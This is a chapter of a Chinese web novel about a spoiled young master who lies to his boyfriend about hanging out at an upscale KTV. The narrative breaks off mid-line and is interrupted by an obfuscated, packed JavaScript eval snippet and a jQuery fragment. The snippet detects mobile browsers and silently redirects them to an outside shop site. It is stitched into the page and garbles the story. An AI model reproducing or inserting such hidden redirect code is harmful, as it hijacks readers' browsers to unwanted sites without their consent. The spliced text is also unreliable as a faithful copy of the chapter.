文趣网 > 都市小说 > 作精少爷放弃追夫后 > 9. 第九章
    五月下旬,大四的答辩已经基本结束,只等着毕业典礼。

    应与绥向来闲不下,除了每周三次的家教,又去找了好几份兼职,早出晚归,俞临只能在手机上跟自家男朋友联系。

    俞临除了上课就自己在家,无聊得不行。

    他想去约应安阳喝酒。结果应安阳那傻逼说自己要学车考驾照,还说开车不能喝酒,让他一人一酒醉,醉与那佳人——应与绥长相随。

    俞临觉得他的梗太老了,回了一句“佳人满眼都是钱”,就把人给拉黑了。

    拉黑了应安阳,俞临更无聊了,只能纡尊降贵地去找秦昌和那群不务正业的纨绔。

    于是后面几天,他每天白天送应与绥出门,过段时间就自己跑去KTV酒吧会所台球厅。

    每天回来的时间不定,有时候在应与绥之前,有时候在应与绥之后。

    他酒量一般,跟那些人聚会从来不喝酒,顶多就喝点奶茶果茶。所以虽然身上沾了点酒气,他亲人时仍是果甜和奶香。

    应与绥问他去了哪,俞临就踮脚捧着人亲,试图以此蒙混过关。

    这个方法无疑是拙劣的,但俞临不管,只要应与绥不提,那他就是糊弄过去了。

    这天周三,应与绥说自己要回学校一趟,处理点毕业的事。

    俞临冲着他挥挥手,等他走了,立马给秦昌发消息,让他准备好迎接自己。

    因为俞临喜欢东混西混,所以俞家在长野有一部分的股份,并且股份归在俞临名下。

    服务员和前台都认识俞临,一看见他,就知道该把他往哪个包间领。

    俞临刚跟着服务员走了几步路,就听见后面传来一阵脚步声。

    随之而来的是前台的疑惑:“先生,请问您有预约吗?”

    俞临只当是哪个普通客人,正准备拐进走廊,就听见那个“普通客人”开了口。

    “没有。”

    俞临的动作瞬间定在原地。

    是应与绥的声音。

    是应与绥的声音!

    “先生,我们这边没有提前预约的话是需要验资的,您看您方不方便……”前台说到一半,只觉得眼前闪过一片白影。

    定睛一看,那个刚刚才跟着服务员离开的俞家小少爷,居然火急火燎地跑回来了。

    还在那个穿着朴素,但长得极好的男生面前停了下来。

    俞小少爷的表情震惊又急迫,皱着眉问:“你怎么过来了?!”

    应与绥垂眸看着他,反问:“这句话不应该是我问你?你为什么在这?”

    应与绥出现在这里,当然不是碰巧。

    他不是傻子,俞临身上的气味很明显,和那天从校门口回来后的味道——酒味,香薰味,香水味,一模一样。

    他一开始没有提,是因为对俞临用亲亲来转移话题的方法实在受用。

    但是几天下来,应与绥越来越不放心。

    他家男朋友,虽然性子娇纵任性,但也实在是天真单纯。

    他之前说自己是去打工兼职,但KTV那种地方实在鱼龙混杂。

    于是应与绥找了个借口离开,又偷偷跟在俞临身后,一路来到这个叫“长野”的商k。

    居然还是个要验资的商K。

    “所以,”应与绥深吸了一口气,拽住俞临的手腕,眼里是不加掩饰的疑惑,与一丝极难察觉的愤懑。

    面对俞临时向来温润的声音此刻被压得极沉,像是咬着一块硬石。

    应与绥又重复了一遍,“你为什么会在这里?”

    俞临看着眼前这个明显在生气,却还是压抑着情绪的应与绥,眨了眨眼。

    居然……

    更帅了。

    不对。

    俞临立马回神,大脑疯狂运转:“我之前不是跟你说过,我来这边兼职的嘛!”

    “不是答应我辞了?”应与绥问。

    “我……”俞临想不出来,索性无理取闹,“你还说!都怪你!”

    应与绥:“……?”

    应与绥看了旁边目光灼灼准备吃瓜的前台和服务员,拽着俞临的手,拉着人朝角落走去。

    少爷细皮嫩肉经不得疼,手腕很快泛起一圈红痕,吃痛地喊:“你轻一点!我手都红了!”

    应与绥后背一僵,没说话,但手上的力道轻了,脚下的幅度也小了。

    站在店内的角落里,应与绥身形微动,将俞临的身影挡在自己和墙中间,挡住店内其他人的视线。

    “怪我?”应与绥接住俞临的上一句话。

    “就怪你!”俞临仰头看他,“都怪你整天在外面跑,都不在家陪我!我一个人无聊,而且,而且我觉得你太累了,想给你分担一下都不行吗?”

    应与绥更疑惑了:“分担?”

    “就是啊!”俞临继续加码,“我那天问你为什么要钱,你不是说有用吗,我想帮你嘛!”

    “但是这地方,”应与绥难得噎了一下,下意识放软声音,“你是怎么应聘上的?”

    这家商 K 不仅需要预约验资,就连装修都透着一股子奢华气。大概率是那种一碟果盘卖几千块钱,一瓶酒几万起步的地方。

    这种档次的商K,服务员都要本科以上学历,怎么会招聘大学生兼职。

    “那我怎么知道,”俞临深知解释得越多越容易露馅,干脆装出一副什么都不懂的懵懂大学生模样,“我就是觉得这家店很大,工资肯定很高。我,我就来问问他们招不招兼职,结果他们说还招,我就来干了。”

    他说着说着就入戏了,越想越觉得委屈,到后面连声音都带上了点哭腔,“我就是怕你太累了,怕你担心,怕你生气,结果你还凶我,还不信我!”

    见他越哭越凶,应与绥大脑一空,连忙哄道:“我没凶你,也没不信你,别哭了……这种地方不安全,你要是真的想找兼职,我帮你找好不好?”

    “这里怎么就乱……”俞临刚想反驳,转念一想,应与绥完全把台阶给他放好了啊!

    俞临立马顺坡下驴,装出一副不情不愿,但是又不得不听男朋友话的样子。

    他瘪瘪嘴,点点头,拉着应与绥的手,别别扭扭地往前台走,“那好吧,那你和我一起,去和前台的姐姐说。”

    应与绥没有反抗,反而把他的手握得更紧,像是在给他加油打气。

    “姐姐,我……”

    “包厢里按了多少次铃了,你们是来上班的还是……”一道不耐烦的声音响起,后半句话却在看见俞临和他身侧的人时戛然而止。

    秦昌的一双吊眼在俞临和应与绥身上打量了一遍,视线黏腻,像是洗不净的油渍,“呦,这不是我们俞小……”

    对上俞临警告的目光,他话锋一转,“俞小临吗,怎么这个点才来?旁边这个,又是哪位

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17933076|213671||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    啊?”

    他说着,就要把手往俞临肩膀上揽。

    应与绥自然是不让他得逞。他手上用力,把人拉回自己怀里,低头问俞临:“他是谁?”

    秦昌的手悬在空中,饶有兴趣地挑了挑眉。

    俞临胡扯:“他是老板啊!他是我老板,就是他把我招进来的。”

    应与绥不置可否地看向秦昌。

    秦昌没头没脑就当上了老板,看见俞临一个劲地朝他挤眉弄眼,立马就明白了:“对,我是老板。怎么了,我们家员工惹到您了?”

    应与绥直白道:“他要辞职。”

    俞临立马点头:“对!我要辞职!我男朋友不然后我在你们这干了!他说你们你这不干净!”

    “辞职啊……”秦昌若有所思地点点头,对这个职场演绎十分受用,“那就跟我去包间说吧。”

    俞临突然觉得这人居心叵测。

    “好。”应与绥替他应下,十指相扣的手紧了紧,男人微微低头,在俞临耳侧说,“别怕,我陪着你。”

    俞临:“?”

    怕?

    他怕?

    开什么玩笑!

    他俞临天不怕地不怕,从来就只有别人怕他的道理!

    —

    包间内灯光炫目,沙发上的人本来还在争论着下一首是谁的歌,看见来人的下一秒,都不由自主地噤了声,只剩下被刻意压低的讨论声。

    应与绥从里面听见了一些应家的风流往事,还在那些往事里听见了自己的名字。

    应与绥没什么反应,只是挪了挪身子,把俞临挡得更严实些。

    包间内光线又乱又暗,再加上俞临个子偏矮体型偏小,被应与绥这么一挡,那些人连小少爷的一截衣摆都看不见。

    俞临没想到秦昌那傻逼居然把他们俩直接带到了这个包间,包间里一群不务正业的纨绔,嘴比村口大爷大妈还碎。

    他本想着把应与绥拽出去下次再说,但应与绥力气大底盘稳,他根本就拽不动。

    “呦,这不是应大少爷吗,”一个长发男率先开口,“怎么,从应家跑了之后过不下去,决定回来了?”

    语气高傲,带着不加掩饰的戏谑。

    应与绥对他们不感兴趣,对他们的话也完全免疫,眼里只有一件事。他看向秦昌,问:“辞职在哪里办理?”

    秦昌正要说话,另一个少爷嗤笑一声:“辞职?应少爷说错话了吧,你确定不是来求职?”

    “笑死我了,这家店保洁一个月底薪都有一万五,够咱浑身上下两百块钱的少爷买一千多套衣服了吧哈哈哈哈哈哈。”

    “诶诶诶,你们说的这是啥话,应少爷铁骨铮铮,才看不上咱们这仨瓜俩枣呢!”

    “那也是。那咱们应少爷是卖艺呢,还是卖身……卧槽,那个傻逼扔的——”

    周遭的嬉笑声戛然而止。

    俞临忍无可忍地挣开应与绥的手,抓起旁边台桌上的一个车钥匙,就往说话那人的脑门扔过去。

    力道极大,砸得对方破口大骂。

    俞临没管周围人震惊慌乱的表情,三两步走到桌子前,一脚踩在那长发男两腿中间的沙发上,抄起话筒直接捅进他不断输出脏话的嘴里。

    呜呜咽咽的挣扎声通过话筒传入音响,放大在空旷的包间内。

    俞临冷着脸,一字一顿地说:“你特么再说一遍试试?”